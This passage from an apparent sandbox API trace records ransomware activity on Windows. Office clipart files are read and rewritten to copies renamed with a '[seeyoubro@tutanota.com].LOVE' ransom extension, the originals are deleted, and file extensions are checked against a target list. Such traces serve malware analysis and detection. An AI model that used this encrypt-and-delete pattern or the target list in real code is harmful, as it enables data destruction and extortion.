lpOverlapped=0x0) returned 1 [0207.678] WriteFile (in: hFile=0x37c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x10d0, lpOverlapped=0x0) returned 1 [0207.679] ReadFile (in: hFile=0x330, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.679] WriteFile (in: hFile=0x37c, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.679] SetEndOfFile (hFile=0x37c) returned 1 [0207.679] CloseHandle (hObject=0x37c) returned 1 [0207.679] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.680] SetEndOfFile (hFile=0x330) returned 1 [0207.680] CloseHandle (hObject=0x330) returned 1 [0207.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0207.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0207.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0207.681] lstrlenW (lpString=".doc") returned 4 [0207.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.681] lstrlenW (lpString=".docx") returned 5 [0207.681] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.681] lstrlenW (lpString=".pdf") returned 4 [0207.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.681] lstrlenW (lpString=".xls") returned 4 [0207.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.681] lstrlenW (lpString=".xlsx") returned 5 [0207.681] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.681] lstrlenW (lpString=".ppt") returned 4 [0207.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0207.681] lstrlenW (lpString=".zip") returned 4 [0207.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.681] lstrlenW (lpString=".rar") returned 4 [0207.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.681] lstrlenW (lpString=".bz2") returned 4 [0207.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.682] lstrlenW (lpString=".7z") returned 3 [0207.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0207.682] lstrlenW (lpString=".dbf") returned 4 [0207.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0207.682] lstrlenW (lpString=".1cd") returned 4 [0207.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0207.682] lstrlenW (lpString=".jpg") returned 4 [0207.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.701] GetLastError () returned 0x0 [0207.701] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x1306, lpOverlapped=0x0) returned 1 [0207.726] WriteFile (in: hFile=0x368, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1310, lpOverlapped=0x0) returned 1 [0207.726] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.727] WriteFile (in: hFile=0x368, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.727] SetEndOfFile (hFile=0x368) returned 1 [0207.739] CloseHandle (hObject=0x368) returned 1 [0207.739] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.739] SetEndOfFile (hFile=0x33c) returned 1 [0207.740] CloseHandle (hObject=0x33c) returned 1 [0207.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0207.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0207.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0207.758] lstrlenW (lpString=".doc") returned 4 [0207.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.759] lstrlenW (lpString=".docx") returned 5 [0207.759] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.759] lstrlenW (lpString=".pdf") returned 4 [0207.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.759] lstrlenW (lpString=".xls") returned 4 [0207.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.759] lstrlenW (lpString=".xlsx") returned 5 [0207.759] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.759] lstrlenW (lpString=".ppt") returned 4 [0207.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0207.759] lstrlenW (lpString=".zip") returned 4 [0207.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.759] lstrlenW (lpString=".rar") returned 4 [0207.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.759] lstrlenW (lpString=".bz2") returned 4 [0207.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.759] lstrlenW (lpString=".7z") returned 3 [0207.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0207.759] lstrlenW (lpString=".dbf") returned 4 [0207.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0207.759] lstrlenW (lpString=".1cd") returned 4 [0207.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0207.759] lstrlenW (lpString=".jpg") returned 4 [0207.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.766] GetLastError () returned 0x0 [0207.766] ReadFile (in: hFile=0x374, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x7114, lpOverlapped=0x0) returned 1 [0207.784] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x7120, lpOverlapped=0x0) returned 1 [0207.785] ReadFile (in: hFile=0x374, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.785] WriteFile (in: hFile=0x2f0, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.785] SetEndOfFile (hFile=0x2f0) returned 1 [0207.787] CloseHandle (hObject=0x2f0) returned 1 [0207.787] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.787] SetEndOfFile (hFile=0x374) returned 1 [0207.803] CloseHandle (hObject=0x374) returned 1 [0207.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0207.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0207.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0207.803] lstrlenW (lpString=".doc") returned 4 [0207.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.803] lstrlenW (lpString=".docx") returned 5 [0207.803] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.803] lstrlenW (lpString=".pdf") returned 4 [0207.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.803] lstrlenW (lpString=".xls") returned 4 [0207.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.804] lstrlenW (lpString=".xlsx") returned 5 [0207.804] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.804] lstrlenW (lpString=".ppt") returned 4 [0207.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0207.804] lstrlenW (lpString=".zip") returned 4 [0207.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.804] lstrlenW (lpString=".rar") returned 4 [0207.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.804] lstrlenW (lpString=".bz2") returned 4 [0207.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.804] lstrlenW (lpString=".7z") returned 3 [0207.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0207.804] lstrlenW (lpString=".dbf") returned 4 [0207.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0207.804] lstrlenW (lpString=".1cd") returned 4 [0207.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0207.804] lstrlenW (lpString=".jpg") returned 4 [0207.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.804] GetLastError () returned 0x0 [0207.804] ReadFile (in: hFile=0x374, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x4124, lpOverlapped=0x0) returned 1 [0207.846] WriteFile (in: hFile=0x368, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x4130, lpOverlapped=0x0) returned 1 [0207.847] ReadFile (in: hFile=0x374, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.847] WriteFile (in: hFile=0x368, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.847] SetEndOfFile (hFile=0x368) returned 1 [0207.848] CloseHandle (hObject=0x368) returned 1 [0207.848] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.848] SetEndOfFile (hFile=0x374) returned 1 [0207.849] CloseHandle (hObject=0x374) returned 1 [0207.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0207.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0207.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0207.850] lstrlenW (lpString=".doc") returned 4 [0207.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.850] lstrlenW (lpString=".docx") returned 5 [0207.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.850] lstrlenW (lpString=".pdf") returned 4 [0207.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.850] lstrlenW (lpString=".xls") returned 4 [0207.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.850] lstrlenW (lpString=".xlsx") returned 5 [0207.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.850] lstrlenW (lpString=".ppt") returned 4 [0207.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0207.850] lstrlenW (lpString=".zip") returned 4 [0207.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.850] lstrlenW (lpString=".rar") returned 4 [0207.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.850] lstrlenW (lpString=".bz2") returned 4 [0207.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.850] lstrlenW (lpString=".7z") returned 3 [0207.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0207.850] lstrlenW (lpString=".dbf") returned 4 [0207.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0207.850] lstrlenW (lpString=".1cd") returned 4 [0207.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0207.851] lstrlenW (lpString=".jpg") returned 4 [0207.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.851] GetLastError () returned 0x0 [0207.851] ReadFile (in: hFile=0x374, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x60ca, lpOverlapped=0x0) returned 1 [0207.983] WriteFile (in: hFile=0x368, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0207.984] ReadFile (in: hFile=0x374, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.984] WriteFile (in: hFile=0x368, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.984] SetEndOfFile (hFile=0x368) returned 1 [0207.984] CloseHandle (hObject=0x368) returned 1 [0207.985] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.985] SetEndOfFile (hFile=0x374) returned 1 [0207.986] CloseHandle (hObject=0x374) returned 1 [0207.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0207.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0207.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0207.987] lstrlenW (lpString=".doc") returned 4 [0207.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.987] lstrlenW (lpString=".docx") returned 5 [0207.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.987] lstrlenW (lpString=".pdf") returned 4 [0207.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.987] lstrlenW (lpString=".xls") returned 4 [0207.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.987] lstrlenW (lpString=".xlsx") returned 5 [0207.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.987] lstrlenW (lpString=".ppt") returned 4 [0207.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0207.987] lstrlenW (lpString=".zip") returned 4 [0207.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.987] lstrlenW (lpString=".rar") returned 4 [0207.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.987] lstrlenW (lpString=".bz2") returned 4 [0207.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.987] lstrlenW (lpString=".7z") returned 3 [0207.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0207.987] lstrlenW (lpString=".dbf") returned 4 [0207.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0207.988] lstrlenW (lpString=".1cd") returned 4 [0207.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0207.988] lstrlenW (lpString=".jpg") returned 4 [0207.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.196] GetLastError () returned 0x0 [0208.196] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x504a, lpOverlapped=0x0) returned 1 [0208.216] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x5050, lpOverlapped=0x0) returned 1 [0208.217] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.217] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.217] SetEndOfFile (hFile=0x380) returned 1 [0208.217] CloseHandle (hObject=0x380) returned 1 [0208.218] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.218] SetEndOfFile (hFile=0x368) returned 1 [0208.218] CloseHandle (hObject=0x368) returned 1 [0208.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0208.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0208.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0208.219] lstrlenW (lpString=".doc") returned 4 [0208.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.219] lstrlenW (lpString=".docx") returned 5 [0208.219] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.219] lstrlenW (lpString=".pdf") returned 4 [0208.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.219] lstrlenW (lpString=".xls") returned 4 [0208.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.219] lstrlenW (lpString=".xlsx") returned 5 [0208.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.219] lstrlenW (lpString=".ppt") returned 4 [0208.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0208.219] lstrlenW (lpString=".zip") returned 4 [0208.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.219] lstrlenW (lpString=".rar") returned 4 [0208.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.219] lstrlenW (lpString=".bz2") returned 4 [0208.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.219] lstrlenW (lpString=".7z") returned 3 [0208.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0208.220] lstrlenW (lpString=".dbf") returned 4 [0208.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0208.220] lstrlenW (lpString=".1cd") returned 4 [0208.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0208.220] lstrlenW (lpString=".jpg") returned 4 [0208.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.220] GetLastError () returned 0x0 [0208.220] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x4edd, lpOverlapped=0x0) returned 1 [0208.245] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0208.246] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.246] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.246] SetEndOfFile (hFile=0x380) returned 1 [0208.246] CloseHandle (hObject=0x380) returned 1 [0208.246] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.246] SetEndOfFile (hFile=0x368) returned 1 [0208.247] CloseHandle (hObject=0x368) returned 1 [0208.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft 